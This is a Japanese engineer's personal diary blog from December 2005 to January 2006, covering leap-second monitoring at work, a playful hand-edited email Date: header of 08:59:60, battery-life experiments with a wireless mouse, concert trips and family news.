(2008年5月18日付記) 2008年5月現在のアインシュタインラボは、個人的にとてもお勧めできる状況ではありません。

2006年1月13日(金)

会社の停電
私の会社の入ってるビルが日曜日全館停電になるそうな。なので本日帰るとき PC の電源等全部落とす必要があるのです。まあ今までの経験からして、落とし忘れてもハードディスクがクラッシュしたりすることもないでしょうし、そもそも間違えてコード抜いたり、落とすつもりと違う PC (それも人様の！) の電源切ったりすることはしょっちゅうなので、個人的にはそれほど神経質になっていません。
それよりびっくりしたのは、サーバー管理の方が「本日午後 17時30分から月曜日朝 9時まで社内のサーバーは使用出来ません」なるお達しを出したら「そんなに早く使えなくなっては困る」という苦情が殺到したとのこと。結局夜の 10時頃まで使える様にしたそうなのですが、うーんみんな真面目なんですねえ (^^。個人的な感覚からするとこういう外的要因にて仕事ができない、という状況はとってもうれしいわけで、仕事ができなくて困るっていう発想は全くありません(笑)。
ここで私が常に抱いている願望を列挙致しますと...
- 会社が停電になり仕事ができない。
- 天候等の問題で会社に行けない。
- お客さんのところに行ったら何かの手違いで不在。
- 出張して一段落したところで何らかの交通事情の問題で帰れず(除土日)。
ちっちゃい頃は「学級閉鎖願望」が大きかったです。そもそも人様を教える立場にあったころも学級閉鎖になるととってもうれしかったし(^^。こんな風に年がら年中さぼることしか考えていないのが、いつまでたっても出世しない最大の理由なのでしょうか(笑)。

2006年1月12日(木)

閏秒改ざんメールのその後
お正月の閏秒をしのぐことができ、その後ひまになったので関係者に時刻を改ざんしたメールを送ったことは以前この日記に書きました。幸いにして自宅・会社やお客様のメールサーバーを破壊することもなく、関係者全員に無事届いたようです。
改ざん方法は簡単で、まずは用件と本文を書いたメールを自分自身に送りまして(これは Subject: の mime エンコードをてぬきするため)、受信した生メールの必要のないヘッダー部分を削除し、その後 Date: フィールドを改ざん、さらに To:, Cc: フィールドに関係者の宛先を全部記載します。そしておうちのサーバーにログインして、
```
    $ cat mail-file | sendmail 宛先の人全員のアドレス
```
という手順を踏んだのです。ところが全然反響がなかったのですよこれが(笑)。
私が普段使っている Mew では送信時刻がちゃんと 8:59:60 と表示されるのですが(メールの内容を極力無解釈で表示するのが Mew の売りの一つです)、どうもその他通常使われるほとんどのメーラーでは、内部的に一度秒数に変換してから再表示するらしく、
Date: 2006年1月1日 9:00:00:JST
という感じになり(Apple のメーラーもそうなります)、確かにこれではあんまり面白くありません。仕方がないので、昨日お客さまのところで「こういうメールを投げたのですが、誰も気がついてくれなかったようで寂しいです(^^」なんて白状しました。ねたを自分で告白するはめになるなんて、残念であるとともに、とってもとってもはずかしかったのでした(笑)。

2006年1月11日(水)

MacBook Pro
Apple から i386 Note の MacBook Pro 発表です。今回は 15inch のものが発表のようで、速度は PowerBook の最大 4倍とか。デュアルコアーなので通常の用途では倍くらいだと思うのですが、個人的にはデザイン・大きさ等とってもとってもつぼを押さえた仕様です。うーん欲しい(^^。
そうはいうものの、今使っている PowerBook は購入してから一年しか経っていないのでさすがにまだ無理です。そもそも速度が遅くて不便な思いをしてること全くないですし←負け惜しみ(^^。さらに、これから色々じまん話を聞くことになりそうなのですが、そちらも~~じっと我慢です~~大いに楽しませて頂きます(笑)。
一年くらいしてもっと速いのが出たら、それを買っておおいにじまんすることにしましょう(^^。

2006年1月10日(火)

続・明日から新学期
連休の関係かやけに長い冬休みも終わり、二女は明日から新学期です。高校最後の学期となります。もう出席すること以外とりたててないのかと思っていたら、今日宿題をやっていたりします(笑)。ぎりぎりにならないとやらないのってやはり親に似たのでしょうか(^^。
それにしてもこれから三ヶ月間のんびり過ごせるとは優雅な！！うらやましいですなあ。しかも明日は二時間目の授業ひとつなのだという...(←単位制だから)。とまあ私はうらやましがっているのですが、本人は宿題がなかなか終らず結構大変そうです。いやはや何時までかかることやら(^^。

2006年1月9日(月)

明日から新学期
連休の関係かやけに長い冬休みも終わり、モカちゃんは明日から新学期です。小学校最後の学期となります。夜ふかし朝ねぼうのくせがついているので、「朝起きるのやだな～」とか言ってるのは親に似たのでしょうか(笑)。
そもそも今日書き初めの宿題をやっているというのが問題なのです(^^。中学校に入ると「内申点」というとんでもなく愚かな制度が待っているので、なかなか大変だと思います。あと一学期楽しく暮らしてもらいたいと思います。
二女の方は良くわからない理由で明日も休みだそうです。うらやましい！！大学進学は決まっているし、もうテストもないそうなので、こちらは本当に気楽そうです。いいな～(^^。

2006年1月8日(日)

eneloop 力つきる

昨年の12月21日から使用していたしらたまちゃん(Apple Wireless Mouse) 用 eneloop ですが本日電池切れとなりました。二本棒になってから 3日程度持ちました。トータルとして 18日くらいかな。一回ずつしか使っていないのと、使った頻度とかによりますので統計的な有意性は全くないのですが、この用途に関しては予想通り 2700mAh の eneloop でない方のニッケル水素電池と同等の能力と思われます。 Y.Kumagaiさんとこの記事によりますと eneloop でデジカメの写真を 200枚程度撮ることが可能なそうで、しらたまちゃんは動かしているときかなりの明るさでぴかぴか光るので、一日の使用で写真 10枚分程度というのはなんとなくうなずける消費量です。

前にも書きましたが、今後は 2700mAh の電池をメインとして使用し、eneloop は自己放電の少なさの利点を生かし、予備として持ち歩くことにするのです。

そもそも何を勘違いしたのか、しらたまちゃんを購入した時「電池が必要なのに気がつかなかった(笑)」というのが間違いの始まりで、さらにこのマウスは世の中に出回っているものの中でも一番電池の消費が多いという悲劇が重なり、とんでもない散財をしてしまいました。せっかく散財したので、今までの経験値を表にしたのが下記のものです。

種類	2個あたりの価格(*)	使用可能日数概算(**)	一月あたりの経費(***)
安物アルカリ電池	60円程度	14日	130円
オキシライド乾電池	160円程度	18日	300円
リチウム電池(おまけのもの)	不明	20日	不明
リチウム電池(FIJIFILM製)	600円程度	30日	600円
SANYO 2700mAh ニッケル水素電池	4000円程度	20日	160円
SANYO 2000mAh eneloop	4000円程度	18日	160円

(*) 充電式の場合は予備が必要なので 4個あたりの価格。さらに充電器込み。
(**) Apple Wireless Mouse を1日平均12時間程度使用。電源はほとんど切らない。
(***) 充電式の場合は 2年間使用で計算。3年使えれば安物アルカリに対抗可能。

安ものアルカリ電池のコストパフォーマンスはあなどれないのですが、長期間使用する場合(利便性も考慮に入れると)ニッケル水素電池もなかなかよろしいということが分かったのと、「個人的にねたとして面白かった」のは一つの収穫だったかもしれません。さらに電池の特性についても色々と勉強になりました。ただし3年以上使わないと元がとれないので、とってもとっても先が長いのであります(笑)。

＃しらたまちゃん自体はとっても気に入っています。
＃今後 Apple からしらたまちゃんライクなくるくるワイヤレスマウスが
＃発売されるまで他のマウスを使う気にはなれません。

[2006年5月2日付記] eneloop でないニッケル水素電池は暖かくなるとだめかも。

2006年1月7日(土)

かぜかも
のどの調子が悪くて、鼻の調子も良くなく、さらに頭が痛くて寒気がする。これって風邪ですよね。連休初日なのが不幸中の幸いなのかも。
それはそうと本日の朝たかたにさんとこのアドレスの名前解決が出来なくなりました。その時刻にアイネットディの DDNS の障害があったそうですが、全然原因が分からなかったので、とりあえず自宅サーバーをリブートしたのですがだめ。もしかしてルートサーバーに変更でもあったのかな～と思い、 /etc/namedb/named.root を最新のものにして named を再起動したら直りました。これって偶然なのでしょうか。謎なのです(^^。
なるほどやはり偶然だったのですね。考えてみるとルートサーバーの変更なんかあったら大騒ぎになりますよね(^^。なのでおうちのサーバーの名前解決が出来ない時間帯もあったのかもしれません。ただしアクセスログを見ると、これといって長時間ヒットしていない時間帯もないので、おうちに関しては大問題にはなっていなかったと思われます。

2006年1月6日(金)

明日から三連休
いや～さっきまで全然知らなかったのですが、明日からまた三連休なのですね。お正月休みがあっという間に終ってしまった感じだったので、これはおいしいです(^^。さらに1月1日の代休がまだ残っているのですよ！
今月中に免許証の更新を行う必要があるのと、月末に海老名でコンサートがあるので、代休はその日に消化する予定です。
問題は三連休に何をするかです。まあいつものパターンですと、おうちでごろごろしているだけということになるのですが、余りにも非生産的です(笑)。そうは言うものの散財するお金もありませんし、AH-K3001V の電池がいよいよ危機に瀕してきたようなのでそちらの予算をストックしておく必要があります。なので、久しぶりに数学の本でも眺めることにしましょうか。連続体仮説の ZFC からの独立性はなんとか理解したつもりになっているのですが、選択公理の ZF からの独立性の証明がちっとも分からんのです(笑)。

2006年1月5日(木)

仕事始め
今日は仕事始めです。うるう秒はなんとか切り抜けたものの、別件に関するトラブルメールがたまっていたりします(^^。ところで早くも昨日「毎日日記を書く」という本年の目標が未達成となってしまいました。うーむわれながら情けない。いやいや明日からは絶対に、とは思うのですが、やはりねたがないとなかなか書けないもので。困ったものです(^^。
それはそうと、しらたまちゃん(Apple Wireless Mouse)で運用中の eneloop(2000mAh)のバッテリーレヴェルが棒二本となりました。使い始めてから大体 15日経過で、前回の経験ですと二本棒になってから 5日程度持つので、この用途に関しては eneloopでない方の 2700mAh のニッケル水素電池と同等の耐久性であると思われます。ほんとは一月くらい持ってくれるとうれしいのですが、まあ 1000回充電出来るそうなので、交換する回数が多くなるのがちと面倒なだけで、電池自体のの寿命に関しては気になりません。ただしうわさによりますと、 1000回充電出来るといっても、これは「どんどん使ってどんどん充電」の場合で、一月に数回の充電で使用する場合、1000回になる前に電池自体の寿命が来るそうです。いったい何年くらい持つのでしょうね。あんまり短いととっても損した感じになります(^^。
＃私のマウスを使う時間は普通じゃありません。一日の半分以上使っている
＃日が多いと思います。しかも無意識にマウスを動かす癖があるし、さらに
＃寝るとき等マウスの電源を切りません。従って「おうちでだけ使う」とか
＃普通の使用でしたら eneloop で二月位は使えると思います。

2006年1月3日(火)

しらたまちゃん一周年
しらたまちゃんといっても Apple Wireless Mouse のことではなく、おうちのハムスターの名前なのです。ちょうど一年と一日前におうちの一員となったのでした。わたしゃしらたまちゃんにえさを上げるのが好きなのですが、「パパがえさをやりすぎるからすぐにふとっちゃう！」とモカちゃんにしかられる毎日なのです(^^。

2006年1月2日(月)

本年の目標
諸般の事情により一日遅れのお正月という感じです。なので目標なのですが、とりたててないというのがほんとのところです。それでもいくつか気がついたことを列挙致します。
- 子供の学費が半端でなくなってきたので、ちと仕事の方に力を入れる。ここ 3年間くらいは半分くらいのペースでやっていましたから。
- 新しい PowerBook(i386)が欲しい。もちろん今のを使い始めて一年なので、購入は早くとも年末です。ちなみに今使っているのは 12inch のもので、運ぶには良いのですが、単体で使うにはちと画面が狭いです。今度購入する時は 15inch 位のを希望。でも今のが一年後に特に問題なければ先延ばしにするかも知れません。←これって目標ではなく単なる物欲(^^。
- コンサートに関しては、ちと残念ではありますが仕事との両立・体力の問題・予算の問題等を考慮し、今年は行く回数を減らすつもりです。この4年間自分としては目一杯聴きに行きました。そろそろ「年に何回か気が向いたら聴きに行く」という無理のない楽しみ方に変えたいと思います。
- 最近全然数学の勉強していないので、ぼちぼち再開したいとは思っています。でもなかなかまとまった時間がとれなくって...。
- 日記に関して、去年は大分抜けてしまった日も多かったのですが、今年は些細なことでもよいので毎日書くつもり。
というわけで、全然目標になっていないような気もするのですが、本年も昨年同様これといった特徴もない、だらだらとした生活をする予定なのです(笑)。

2006年1月1日(日)

2006年1月1日8時59分60秒 JST
なんとか無事に通過したようで←閏秒！
いやはやそれにしてもこの一秒のためにいったいどれだけ面倒な思いをしたことやら。そもそもまだお雑煮を食べていない、ということが最大の問題ですな(^^。
というわけでお客様含め関係者に出したメール。
```
Subject: 閏秒について
From: 私の会社でのメールアドレス
To: お客様のアドレス
Cc: 社内関係者のアドレス
Date: Sun, 1 Jan 2006 08:59:60 +0900 (JST)
X-Mailer: Mew version 4.2.53 on Emacs 21.2 / Darwin 8.3.0 powerpc


うまくいったという報告
```
これが原因でお客様のメールサーバーがダウンしたらどうしよう(笑)。
新年
あけましておめでとうございます。本年もよろしくお願いいたします。えーっと、今年の抱負なんかを書いた方が良いのでしょうが、ちと上の問題が残っておりますので、そちらは後で(^^。

2005年12月31日(土)

年賀状作成
今日は年賀状の作成です。なんかめずらしく年内に書いたような(笑)。そうはいうものの投函したのが 14時過ぎですから、届くのは来年の 3日か 4日になると思います。毎年のこととはいえ、元旦に届かずまことに申しわけございません(^^。

2005年12月30日(金)

大掃除
今日はおうちの大掃除。いやはや理論通りとはいえ、これほどエントロピーが増大しているとは(^^。てゆうか、どうしてこれだけの量の袋に入るごみの中に暮らせていたのか。今後ははこまめに掃除することを来年の誓いとしたいところですが、守れない誓いというのもとってもむなしいので、まあこんな生活が一生続くのでしょうな(笑)。

2005年12月29日(木)

仕事納め
今日は午前中のみ出勤で仕事納め...のはずだったのですが、寝坊しちゃいました(笑)。どうも12月遊び回った疲れが一気に出たようです。みんなが飲み食いしている時に出てくのもまぬけなので、だらしないとは思いつつ休んじゃいました。大人の行動とは思えません(^^。
それはそうと 1月1日は朝の 9時に発生する閏秒の監視のため出勤です。十分にテストを行ったつもりなので大丈夫だとは思うのですが、うまくゆかないと全国 1,000ヶ所くらいの観測点で一斉にトラブルが発生することになります。もちろんそのようなことにならないことを信じていますが、万が一のことがあった場合、これは謝りまくるしかありません。実はそれよりもっと心配なのは、
お正月早々寝坊してしまう(笑)
ということで、会社に着いたら 9時過ぎてたなんてことになったら大笑いです。前日の深夜から会社に泊まった方が無難かも知れません(^^。

2005年12月28日(水)

つくば出張
今日は恒例のつくば出張です。

2005年12月27日(火)

月のなまず
向かいの席の M さんと地震の話をしていたら、なんと月でも「月震」なる揺れが存在するとのこと。大昔に活動をやめたはずなのにどうして地震が起きるのでしょうね、という話になりまして、もちろん私の推理は、
そりゃ月になまずが住んでいるからですよ(^^
ということだったのです。ところが Mさんは、「月になまずが住んでいるかどうか分からないじゃないですか」と見当違いなことを言うのです。うーむ、彼は地球物理学の博士さまなのですが、なまずに関しては明らかに勉強不足です(笑)。
なので真実を教えてあげたのですが、彼は「そもそも各領域でなまずの存在確率が 1/2 であるという前提がまずい」と言うのですよ。ふふふっ！こんな安易な考えで私の大理論に反論できると思っているのだろうか。まだまだ甘いですな(笑)。
「月の各領域になまずは『いる・いない』のどちらかなので、存在する確率は 1/2 である」という事実はもちろん正しいのですが(えっ)、これは経験則なので厳密な証明が難しいのは事実です。そこで一般に月の各領域になまずが存在する確率を $\alpha$ としましょう。 $\alpha$ は 0でなければ非常に小さい値でもかまいません。0と断言するのは無謀なのでこの前提は適切であると考えられます。ところが月の領域の分割数を $n$ とすると、「すべての領域になまずが存在しない」確率は $(1-\alpha)^n$ となり $0~\le~1-\alpha~<~1$ なのでこれは n を大きくすると0に収束します。従って月に少なくとの一匹のなまずが住んでいる確率は 1 に収束します。言い換えると 1/2 という値は 1 より小さいということ以外は本質でないのです。
Mさんからこの拡張された理論に対する反論は特になかったので、完全に納得して頂けたと思うのですが、いやはや単にあきれてなんにも言う気にならなかっただけなのかも知れません(笑)。

2005年12月26日(月)

そろそろ限界？AH-K3001Vの電池
最近ちょっと使うだけでに棒 2本になります。今のところはこの状態でしばらく持つのですが、こういうのの電池って一気にだめになるので、後一月か二月程度の寿命と思われます。機種変更したりするのも結構お金がかかるので、出来れば電池を交換したいのですが、ウィルコムのページを見ると「在庫無し」なのです。仕方ないのでウィルコムに直接電話して購入方法を聞いたのですが、
この場合機種交換か修理扱いになります。電池を直接ご購入の場合京セラに問い合わせて下さい。
ということで 0077 で始まる京セラの電話番号を教えてくれたのです。ところがこの番号に繋がることは繋がるのですが、何回かけても「ただいま大変込み合っております。しばらくしてからもう一度おかけ直し下さい」ということで、かけるたびにウイルコムをもうけさせるだけ、という非常に不愉快な状態なのです。
うーむ、やはり代替のバッテリーは売りたくないのでしょうな。それにしてもどうやって購入すれば良いのだろうか。謎なのです。

2005年12月23日(金)

江東区文化センターソロコンサート
年末のせいか、自宅から藤沢駅までのバスがとても時間がかかり、あやうく遅刻するところでした。
今日は東京で初めてのソロコンサートです。さらにこんなに大きいホールでのソロコンサートは記憶にありません。最初の方は浩子さんもやや緊張気味だったような気がします。選曲は朝・午前中・午後・夜、をテーマにしたした曲を順番に、メロディーの美しい曲中心です。今日は白系だな～、と思いながら聴いていたら、浩子さんからも同様なお話が(^^。「銀の記憶」細かい情感がとても繊細に表現されてて良かったな。
楽して帰ろうと事前にロマンスカーの指定券を購入してあったのですが、なんとダブルアンコールになって、帰りの電車もきわどかったです(出発一分前に乗り込んだ)。楽しようと思ったのが、駅の階段とか急いだのでかえって疲れたかも知れません(^^。
じまんばなし
昨年の「第３５回藤沢市総合かがく展夏休み自由研究児童生徒の部」での最優秀賞に続き、今年は「第３６回藤沢市総合かがく展」で優秀賞をもらったモカちゃんですが(しつこいですな^^)、実は優秀賞をもらうとその内容が冊子となり永久保存されることになっていまして、昨日が(要約した)原稿の締め切り日だったのです。なので、数日前からPC に向かって色々書いていたのですが、なんとか間に合ったようです。というか一昨日の夜に完成するはずだったのが、眠くなって寝てまい、昨日の朝 5時に起きて7時半に仕上がったという。こういう場合もし原稿を落としたらどうなるのだろう(笑)。
原稿を PDF 化したのがこちらなのですが、内容もなかなか充実しているとともに、ワープロの使い方も私より上手なようです(^^。←おやばか。
＃一部表の場所がずれているのは PDF 化するとき NeoOffice で開いた副作用です。

2005年12月22日(木)

車検
おうちの車が昨日から今日にかけて車検です。購入してから丁度 5年経過したのです。費用が色々こみで大体 12万円程度。高いですなぁ。今までは 5年ごとに新車に交換していたのですが、今度は最低でもあと二年乗ることになります。
余談ですが私は今の車一回くらいしか運転したことないかも知れません。まあまっすぐ走る分には問題ないのですが、車庫に入れたりする時よくこするので、奥さまとしてはなるべく私に運転させたくないらしいのですよ(笑)。さらに極度の方向音痴なので、しょっちゅう道を間違えるのも運転したくない理由の一つなのです。次に車を購入する時、カーナビを装備したいのは山々なのですが、なんか有効利用するのはせいぜい年に一回くらいと思われるので、こちらもコストパフォーマンスがあんまり良くなく、却下の可能性も多かったりします(^^。

2005年12月21日(水)

eneloop 購入
実験の誘惑に負けてしまいました(^^。2 個で 720円。はてさて自己放電はあるが 2700mAhの通常のニッケル水素電池と、自己放電がほとんどないが 2000mAh の eneloop どちらが長持ちなのか。なかなか楽しみなのです。
実験が完了した時点で通常の使用は eneloop でない方として、eneloop は自己放電が少ない利点を生かして、バックアップ用にする予定です。要するに次のような運用形態です。
- 通常のニッケル水素電池でしらたまちゃん運用
- 切れたら充電済みの eneloop で一日か二日しのぐ
- その間に普通のを充電
- 通常のニッケル水素電池でしらたまちゃん運用
- ...
この運用ですと eneloop の充電は 3ヶ月に一回くらいで良いかもしれません。
＃二個余っちゃいました。どうしよう(笑)。
＃他のねたも考えないとな～(^^。

2005年12月20日(火)

しらたまちゃん力つきる
こんな状態でなんとか動いて入るのですが、さすがに動作停止となるのは時間の問題であると思われます。まあこの状態で一日持てば、その間に予備の充電を行えるので理想なのですが。
丁度20日もちました。オキシライドよりは良し、リチウムほどはもたないという感じです。
＃自己放電の影響を調べるために eneloop を買いたいのは山々なのですが
＃さすがにちょっとねえ(^^。
＃でも充電器が高いのであって、バッテリー自体はそんなに...←こらこら(笑)。
[後記]
これ書いてから 1時間くらいで使えなくなりました。うーん赤くなってから充電では間に合わないようです。残念ですな。

2005年12月18日(日)

郡山公演
ラーメンを食べるために会津若松から喜多方へ。ものすごい雪と風。それに寒いのなんのって！時間があるのでちょっと探索をしようと思ったのですが、いやはやこの天気で一気にめげました(^^。結局駅の近くの良くわかんないところでラーメンを食べたのです。でもとってもおいしかったですよ(^^。
その後喜多方発の列車で郡山へ。いくらなんでもこっちはそんなに寒くはないだろう思ってホームに降りたら、いやはやこれまたとっても寒いんですよ(笑)。大分時間があったので、駅ビルでコーヒーを飲んだりして時間をつぶしたりしてたのですが、入場の一時間前になったのでバスに乗ろうと思ったら、丁度行ったばかりで、なんと三十分待ち。三十分前にバスに乗るのでは入場時間に間に合いそうにありません。整理券方式なので入場時間に間に合わないとまずいのですよ。
仕方ないのでタクシーで行こうかなー、でも高いしな～、と思っていたらうまいこと知り合い 7人が同様の状況でして、私が加わって 8人となり切りが良くなったので、二台のタクシーに分乗して会場に向かったのでした。
コンサートはこれ以上望めないと思える程すばらしものでした。
コンサート終了後 Kさんの車に乗せて頂き郡山駅へ。新幹線で東京へ到着したのが22時頃。思ったより早く帰宅出来ました。

喜多方この電車で郡山へ

2005年12月17日(土)

AH-K3001V メール遅延
おとといと昨日で人様から頂いたメールが 2時間以上遅延して AH-K3001V に届いたのが 3件もありました。こりゃもしかしてウィルコムの新端末が売れすぎてメールサーバーの負荷がとっても重くなっているのかな。PDA風端末だとメールの回数や一回あたりの量が激増しそうだし。いずれ改善されるとは思いますが、しばらくこんな状態が続くとやだな。
それはそうと「いくらなんでも 20万パケット以上使わないだろう」と思って、新端末で繋ぎ放題[4x]を契約して、請求書が来たらびっくり仰天という人が結構いるのでは(^^。
金沢～郡山

[午前 8時]
結構雪降ってます。この冬一番の寒さだそうです。あと冬なのに雷がすごい。会津若松まで遠そうです(^^。
[午前10時]
とにかくも電車は走ってまずは新津まで。
[午後 2時]
新津到着。こちらは小雨模様で電車の運行は問題なさそう。実はここで二時間待ちで、さらに 3時間かかって会津若松まで行くのです(笑)。
[午後 19時]
会津若松到着。色々心配しましたが、結局予定通りに到着しました(^^。

2005年12月16日(金)

金沢公演
12時12分東京発の新幹線で越後湯沢まで。越後湯沢から「特急はくたか」で金沢へ。天候はよかったのですが、越後湯沢では一メートル位雪が積もっていてびっくり。そうそう東京駅で新幹線に乗ってしばらくしたら、「あのー、そのは私の座席なのですが～」というおにいさんの声が。いやいやそんなはずは、と切符を確認したところ、確かにおんなじ座席なのです。JRもこんなミスすることあるのかなー、これは面白いことになったと思ったらおにいさんのチケットは日付が昨日のだったのでした。「あっ」とか言って自由席の方にすごすごと歩いて行ったのです(^^。ちと気の毒でな気がしました。
16時15分金沢到着。コンサートはとっても良かったです(^^。最後の「海の時間」なんて絶品でした。浩子さんが言うには、「私は夜型なので 20時開始だと調子が上がってくる頃でちょうど良い」とのことでした。

2005年12月15日(木)

覚え書き
本日の夕方、しらたまちゃんのニッケル水素電池の棒が二つとなりました。評価のためこのまま使えなくなるまで使用しますが、やっぱ放電等のオーバーヘッドが大きく、この用途だとオキシライド乾電池程度の寿命なのかも知れません。
明日から遠征
明日は有給を取って金沢のコンサート。明後日はのんびりと会津若松まで移動して、明後日は郡山のコンサートです。ただし明日からまたまた大雪の予報なので、果たして行き着けるのか、さらに帰ってくることができるか微妙なところです。

2005年12月14日(水)

祝・PowerBook 購入大体一周年
そういえば PowerBook を購入したのは一年くらい前だったな～、と思って日記を調べたところ、昨年12月9日に購入したのでした。もう長年使っているような気がしますが、まだまだ初心者なのですね(笑)。IBM が一般向け PC から撤退したのは大変な衝撃だったのですが、結果的に Mac を衝動買いすることになり、いやはや人生どんなことが待っているか分からないもので(^^。
予定としては後二年くらい(一年かな？)使ったら i386 Mac に買い替えようかと思っているのですが、これって蓋を閉じると自動的にスリープモードになっちゃうので、引退後サーバーとしてちと使いにくいのが難点です。まあそんなに先のことはどうでも良くって、とにかくあと二年位元気に動いてちょうだいね(^^。
余談ですが、一時は四日で交換かと思われたしらたまちゃんニッケル水素電池は、購入後丁度二週間経過した現在も棒三つで元気に動いています(^^。

2005年12月12日(月)

モカちゃん復活
今日は腫れも引いて元気に学校に行ったそうです(^^。

2005年12月11日(日)

神戸ソロコンサート
午前中おうちに電話をかけてモカちゃんの様子を確認したところ、大丈夫そうなのでコンサートに行くことに決定したのです。ところで今日の最終新幹線で帰る予定だったのですが、コンサート終了後出発時刻に間に合うかどうか微妙という話を聞いたので、急遽 0時32分大阪発の「サンライズ瀬戸」で帰ることに変更。「らくらく座席」というプランなのですが、その実体は座席ではなく寝台列車なのです。ただし通常の寝台と違い、隣の人との間の壁に「穴が開いてて」さらにカーテンもなく、要するに服のまま寝転んでちょうだい、ということらしいのです。こんなのあるとは知らなかった(^^。深夜バスよりははるかに休めるし、値段も手頃(大阪～新横浜 11,330円)なので案外良いかも。
京都でモカちゃんへのおみやげの生八つ橋を買って、JR と阪神電車で石屋川駅へ。ところでコンサート中に大事件があって、まあこの事件とおんなじなのですが、リクエストの一曲目を聴いてる時に極めて危険な状態に(笑)。うーくっくるし～(^^。仕方ないので残り三曲のリクエスト決定中に大急ぎでトイレに行くはめに。うまいことリクエストが決定して演奏が始まる直前に座席に戻れたのですが、そのとき
リクエストは一番古い一円玉を持ってる人だヨ
という紙が回ってきたのです。うーん誰が回してくれたのだろう。終ってから知り合いに聞いても誰も心当たりがないとのこと。スタッフの人が回してくれたのであろう、という話になったのですが最後のカタカナの「ヨ」という表現がスタッフらしくないし未だに謎なのです。いずれにしてもありがとうございました。
コンサート終了後みんなと大阪駅近くの鶏肉屋で宴会。みんな同じ列車なので時間はたくさんあったのです。大阪って食べ物おいしい(^^。朝 6時44分横浜着。そのまま会社に直行。

2005年12月10日(土)

京都ソロコンサート
「ぷらっとこだま」で 3時間半以上かけて新横浜から京都へ。京都駅に着いたらさっそくどちらに向かって良いか分からなくなり、Tさんや Jさんに電話して乗る電車とかを聞いて会場方面に。京都はもう三回目なのにいつも道が分からなくのです。会場で Jさんに Hさんを紹介してもらい、まだ時間があったので、近くの喫茶店でおしゃべり。
コンサートの内容は...忘れました(笑)。実はこれ書いてるの 12月16日なんです。
コンサート終了後みんなで「すしねた」のどんぶりを食べる。3,600円くらいの特大どんぶりを 15分で全部食べると無料になるそうでしたが、残念ながらだれも挑戦せず(笑)。私が食べたのは「いくらまぐろどんぶり」。結構おいしかったです。
モカちゃんおたふく風邪にかかる
モカちゃんがおたふく風邪にかかってしまったようです。奥さまは今日と明日用事がありまして、今日は二女が一日おうちにいてくれるのですが、明日はアルバイトがあるとのこと。なのでとりあえず京都に出発して、今晩か明日の朝連絡して具合が悪そうだったら、神戸は断念して藤沢に帰ります。モカちゃんが言うには、「生八つ橋買って来るなら行ってもいいよ」とのことです。さらにさっそくぱどタウンで病気じまんしてたりします(^^。
昔片方やったのですが、しばらくしてもう片方かかることもあるんですね。

2005年12月9日(金)

明日から遠征
今年も遠征の季節となりました。明日と明後日は京都・神戸へゆきます。

2005年12月6日(火)

謎の復活しらたまちゃん
一日一目盛りずつ減ってゆき、四日で電池交換(笑)、といううわさもあったニッケル水素電池でのしらたまちゃん運用ですが、なんと土曜日の記事の後しばらくしたら棒三つに回復しました。普通ちょっと使わないで回復した場合、すぐに元にレヴェルに戻るのですが、不思議なことに二日以上レヴェル3を維持しているのです。このまま安定状態が続けばいいな(^^。

2005年12月5日(月)

かぜ
38度くらい熱が出て一日寝てました。夜になって回復。

2005年12月3日(土)

ニッケル水素電池を買ってみる(その三)
まだ二日半しか経ってないのに...。
住民票をとりにゆく
月曜日に締め切りの二女の大学入学手続きに住民票が必要だということが発覚し(おい)、さらに本日は奥さまも二女も用事がある、ということで私が取りに行ってきました。うーん結婚してからすべて奥さままかせだったので、役所に行くなんて20年ぶりくらいかも。
最近は随分サービスが良くなっているようで、土日でも発行してもらえるし、窓口の人もとても親切だったのです。
それはそうと土日の発行について調べていたら目についたのが、こちらの「電子申請による住民票の写し交付申請」なるページ。住基ネットに関して色々言いたいことはあるのですが、それはおいといて、上のリンクとそこからたどった内容を簡単に説明いたしますと、
- 事前に住基カードを 500円で購入する。
- 推奨リストにあるカードリーダーを購入する。
- Windosws PC に JavaVM や署名ライブラリーをインストールする。過去にこれをインストールしての不具合等があったそうな。
- ブラウザを利用していろいろ面倒な手続きを行う。
- 申請が成功すると郵送で結果通知が届く。
ということらしいのです。ここで注意すべきことは郵送で届くのは「結果通知」のみで、
肝心の住民票は結果通知をもって市役所に取りに行く必要がある。さらにこの場合土日は受け付けてもらえない(笑)。
ということです。うーむ、こんなもん使ったことある人いるのだろうか？そもそもこれは「使わないで下さい」という意思表示としか思えません。なんか無駄なシステムの典型としか考えられないのですが、実はシステム作ってなかったりして(笑)。

2005年12月2日(金)

続・ニッケル水素電池を買ってみる
半日使ったらこんな風に。ほんとに大失敗かも(笑)。でも理論的にはこの状態が一月くらい継続するはず(^^。

2005年12月1日(木)

ニッケル水素電池を買ってみる
実は人様から頂いたリチウム電池の在庫が尽きまして、今後しらたまちゃんの運用に対して費用が発生することになります。本当のことを言いますと、安物のアルカリ電池を二週間程度に一度ずつ交換するのが経済的(一月160円くらい)、というのは分かっているのですが、~~ねたのために~~電池の研究のために、充電式のニッケル水素電池を購入してみました。
買ってきたのはサンヨーの HR-3UG なるもの四個でして、充電器込みで 3,900円。ちと高いです。二年以上使わないと元がとれません(笑)。さらに買ってきてからよくよく調べたら HR-3UTG なる自己放電がほとんどないものがあるという。もしかしたら大失敗したかも(^^。

運用としては二個ずつしらたまちゃんに入れて使用し、電池が減ってきた頃合いに残りの二個を充電して持ち歩きです。一月毎位の交換ですめば良いのですが、ニッケル水素電池は初期電圧が低いので、上のようになんと最初からレヴェル4(笑)。理論的には自己放電を考慮しても一月くらい持つと思うのですが、ほんとに大丈夫なのだろうか？

2005年11月30日(水)

つくば出張
今日は一日つくばに出張です。

2005年11月28日(月)

続・うるう秒
土曜日に日経サイエンスを読んでいたら、もしかして次次回以降のうるう秒は廃止されるかも知れない、といううれしい記事が。
現在時間の定義は
「セシウム133原子の基底状態の二つの超微細準位の間の遷移に対応する放射の9192631770周期の継続時間」を1秒とする
というもので、一方時刻の定義は地球の自転が基準となっています。うるう秒という不自然な仕組みが必要なのは、上の二つの定義が(少なくとも論理的には)全く関連なく不整合が発生することが原因なので、いっそのこと地球の運動を時刻の定義とすることをやめてしまおう、という考え方らしいのです。もちろん本音としてはうるう秒発生に対するソフトウエアーの負担が大きすぎるということなのですが、日々苦労している身としてはこの案に大賛成です。
また地球の自転とセシウム原子の振動のずれが累積して、時刻と日照等の感覚的な不整合が発生する件に関しては、数百年に一度「うるう分」を実施する方法を考えている様です。これって問題を先延ばしにしているだけのような気がしますが、もちろん私に関係がない時期に実施されるので大歓迎です(笑)。
